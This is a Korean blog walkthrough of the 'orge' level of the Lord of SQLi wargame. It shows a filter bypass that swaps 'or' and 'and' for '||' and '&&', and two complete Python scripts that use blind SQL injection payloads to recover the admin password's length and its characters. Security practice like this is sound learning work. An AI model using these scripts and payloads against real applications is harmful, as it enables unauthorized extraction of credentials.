LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이번에도 동일하게 or 연산자와 and 연산자는 막혀있다.
추가족으로 addsalshes 함수도 들어가있다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
어디서 많이 본 형태가 아닌가하면 이전 orc 문제와 동일하다.
pw를 요구하기 때문에 아마도 블라인드 인젝션 문제일 것 같다고
추측만 일단 해놓기로 하자.
또한, 코드 상단부는 guest에 대한 내용이 나오지만 여기서 헷갈리지 말고
우리는 밑에 나오는 admin의 pw에 대해서 알아내야 한다.
바로 이전에 풀었던 문제를 응용해서 삽입하게 되면,
다음과 같이 admin임을 반겨주는 문구가 나온다.
여기에서 우리는 pw를 알아내야하기 때문에
임의로 블라인드 인젝션을 시도해보도록 하자.
노가다로 한번 0x30부터 쭉 시도해보았다.
시도해보니 0x37이라는 첫번째 패스워드 글자 7이라는 숫자가 나오게 되었다.
이를 토대로 블라인드 인젝션이 가능하니 이전 orc 문제에서 사용했던
스크립트를 조금 수정하여 크랙을 시도해보자.
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' || id='admin' && length(pw) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
패스워드 길이를 확인할 코드를 삽입해주고 돌려보게 되면,
패스워드 길이가 8이라는 것을 확인할 수 있다.
그리고 예전에 작성한 코드에서 파라미터 페이로드만 일부 수정하고
break 문을 추가로 작성해서 패스워드를 알아내보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' || id='admin' && length(pw) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
for j in range(30, 123):
params = { "pw" : "' || id='admin' && ascii(substring(pw, {}, 1))={} #".format(i, j) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(j)
print("패스워드:", password)
if len(password) == 8:
break
pw_crack()
위에서 진행한 스크립트를 통해서 총 8글자의 패스워드를 확인할 수 있고,
패스워드를 정확하게 집어넣게 되면
문제가 정상적으로 풀리게 된다!
여기서 주의해야할 것은 guest의 비밀번호도 인젝션할 수 있는데,
guest가 아닌 admin의 pw를 GET으로 받는 것과 같아야하기 때문에
admin의 pw에 대한 블라인드 인젝션을 수행하도록 하자.
(참고로 guest의 패스워드는 17자나 된다..)
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] vampire (0) | 2022.12.21 |
---|---|
[LOS] troll (0) | 2022.12.21 |
[LOS] darkelf (0) | 2022.12.20 |
[LOS] wolfman (0) | 2022.12.20 |
[LOS] orc (0) | 2022.12.19 |